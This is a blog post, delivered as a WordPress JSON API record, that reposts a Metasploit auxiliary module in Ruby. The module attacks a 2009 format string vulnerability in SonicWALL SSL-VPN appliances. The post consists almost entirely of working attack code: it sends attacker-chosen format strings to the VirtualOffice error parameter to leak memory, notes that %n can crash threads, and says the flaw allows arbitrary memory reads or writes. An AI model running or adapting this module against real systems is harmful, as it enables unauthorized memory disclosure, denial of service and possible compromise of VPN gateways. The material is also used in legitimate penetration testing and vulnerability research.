{"id":59281,"date":"2024-08-31T21:20:04","date_gmt":"2024-08-31T18:20:04","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180514\/sonicwall_ssl_format.rb.txt"},"modified":"2024-08-31T21:20:04","modified_gmt":"2024-08-31T18:20:04","slug":"sonicwall-ssl-vpn-format-string","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/sonicwall-ssl-vpn-format-string\/","title":{"rendered":"SonicWALL SSL-VPN Format String"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok.<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;SonicWALL SSL-VPN Format String Vulnerability&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>There is a format string vulnerability within the SonicWALL<br \/>SSL-VPN Appliance &#8211; 200, 2000 and 4000 series. Arbitrary memory<br \/>can be read or written to, depending on the format string used.<br \/>There appears to be a length limit of 127 characters of format<br \/>string data. With physical access to the device and debugging,<br \/>this module may be able to be used to execute arbitrary code remotely.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [ &#8216;aushack&#8217; ],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;BID&#8217;, &#8216;35145&#8217; ],<br \/>#[ &#8216;CVE&#8217;, &#8221; ], # no CVE?<br \/>[ &#8216;OSVDB&#8217;, &#8216;54881&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.aushack.com\/200905-sonicwall.txt&#8217; ],<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2009-05-29&#8217;))<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;URI&#8217;, [ true, &#8216;URI to request&#8217;, &#8216;\/cgi-bin\/welcome\/VirtualOffice?err=&#8217; ]),<br \/>OptString.new(&#8216;FORMAT&#8217;, [ true, &#8216;Format string (i.e. %x, %s, %n, %p etc)&#8217;, &#8216;%x%x%x%x%x%x%x&#8217; ]),<br \/>Opt::RPORT(443),<br \/>OptBool.new(&#8216;SSL&#8217;, [true, &#8216;Use SSL&#8217;, true]),<br \/>])<br \/>end<\/p>\n<p>def run<br \/>if (datastore[&#8216;FORMAT&#8217;].length &gt; 125) # Max length is 127 bytes<br \/>print_error(&#8220;FORMAT string length cannot exceed 125 bytes.&#8221;)<br \/>return<br \/>end<\/p>\n<p>fmt = datastore[&#8216;FORMAT&#8217;] + &#8220;XX&#8221; # XX is 2 bytes used to mark end of memory garbage for regexp<br \/>begin<br \/>res = send_request_raw({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;URI&#8217;]) + fmt,<br \/>})<\/p>\n<p>if res and res.code == 200<br \/>res.body.scan(\/\\&lt;td class\\=\\&#8221;loginError\\&#8221;\\&gt;(.+)XX\/ism)<br \/>print_status(&#8220;Information leaked: #{$1}&#8221;)<br \/>end<\/p>\n<p>print_status(&#8220;Request sent to #{rhost}:#{rport}&#8221;)<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout<br \/>print_status(&#8220;Couldn&#8217;t connect to #{rhost}:#{rport}&#8221;)<br \/>rescue ::Timeout::Error, ::Errno::EPIPE<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok. def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;SonicWALL SSL-VPN Format String Vulnerability&#8217;,&#8216;Description&#8217; =&gt; %q{There is a format string vulnerability within the SonicWALLSSL-VPN Appliance &#8211; 200, 2000 and 4000 series. Arbitrary memorycan be read &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59281","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59281","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59281"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59281\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59281"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59281"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59281"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}